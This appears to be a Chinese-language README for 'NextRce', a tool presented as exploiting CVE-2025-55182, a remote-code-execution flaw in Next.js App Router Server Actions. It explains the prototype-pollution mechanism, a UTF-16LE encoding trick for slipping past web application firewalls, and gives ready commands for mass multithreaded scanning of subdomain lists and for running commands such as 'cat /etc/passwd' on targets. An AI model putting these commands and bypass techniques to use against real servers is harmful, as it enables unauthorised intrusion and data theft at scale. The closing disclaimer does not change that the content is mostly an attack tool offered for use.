包含 child_process 或 execSync 等关键词的标准攻击载荷常常会被 Web 应用防火墙(WAF)拦截。
NextRCSWaff.py 利用专门的 UTF-16LE(小端序) 编码引擎。通过以这种特定格式编码恶意载荷,字节序列完全改变,使其对大多数基于签名的 WAF 不可见。然而,Next.js(Node.js)服务器能够正确解码并执行该命令。
概念证明:上方截图展示了一个标准载荷被拦截,下方则展示了使用 NextRCSWaff.py 配合 --bypass 标志成功执行 RCE 的情况。
NextRce 是一款高性能、多线程的安全工具,用于检测和利用 CVE-2025-55182。它专门针对 Next.js App Router 架构中的 React Server Components (RSC) 实现。
通过操纵 Server Actions 中的序列化过程,NextRce 注入精心构造的载荷,从而在易受攻击的实例上实现 远程代码执行(RCE)。它配备了智能检测引擎,能够自动区分易受攻击的 App Router 架构和安全的传统 Pages Router,确保大规模扫描的效率。
window.__next_f),识别易受攻击的 App Router 目标与传统的 Pages Router 站点。stdin 管道。可无缝集成 subfinder、httpx、gau 等侦察工具。ThreadPoolExecutor,能以最小资源开销并发扫描数千个域名。Next.js App Router 使用自定义序列化格式用于 React Server Components (RSC)。漏洞存在于 Next-Action 头的反序列化逻辑中。当向服务器操作端点(例如 /adfa)发送一个经过特殊构造的对象(污染 __proto__)时,内部解析器可能被胁迫通过 child_process 执行任意 Node.js 代码。
X-Powered-By: Next.js 头和特定的路径结构(/_next/)。window.__next_f -> 易受攻击 (App Router)__NEXT_DATA__ -> 安全 (Pages Router)execSync(cmd)。stdout 被 base64 编码并返回在服务器错误响应的 digest 字段中,NextRce 解码并显示它。# 克隆仓库
git clone [https://github.com/ynsmroztas/NextRce.git](https://github.com/ynsmroztas/NextRce.git)
# 进入目录
cd NextRce
# 安装依赖
pip install requests
💻 使用示例
1. WAF 绕过模式 (使用 NextRCSWaff.py)
当目标看似易受攻击但标准漏洞利用被拦截时,使用此脚本。
# 使用 --bypass 标志启用 UTF-16LE 编码
python3 NextRCSWaff.py -u https://target.com) -c "whoami" --bypass
2. 管道 / 赏金模式
专为 Linux 管道设计。将子域名列表直接管道输入到工具中。
# 标准扫描
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
# WAF 绕过扫描
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 NextRCSWaff.py -c "id" -B
3. 单目标扫描
使用标准脚本测试特定端点并执行自定义命令。
python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
4. 从文件批量扫描
从文件中扫描 URL 列表,并设置高并发数。
python3 nextrce.py -l targets.txt -c "whoami" -t 100
5. 代理模式 (调试)
通过 Burp Suite 或其他代理路由流量进行分析。
python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
⚙️ 命令行选项
Flag,Description,Default
"-u, --url",要扫描的单个目标 URL,None
"-l, --list",包含 URL 列表的文件路径,None
"-c, --cmd",在服务器上执行的命令,id
"-t, --threads",并发线程数,30
"-p, --proxy","HTTP 代理 URL (例如 http://127.0.0.1:8080)",None
"-v, --verbose",启用详细输出(显示失败的尝试),False
"-B, --bypass",(仅 NextRCSWaff.py) 启用 UTF-16LE 编码以绕过 WAF,False
⚠️ 免责声明
本工具仅用于教育和安全研究目的。作者 (Mitsec) 不对使用本工具导致的任何非法使用、损坏或未经授权的访问负责。在执行任何安全测试之前,请始终获得系统所有者的明确许可。
👤 作者
NextRce 由 Mitsec 开发和维护。
Twitter/X: @ynsmroztas
GitHub: ynsmroztas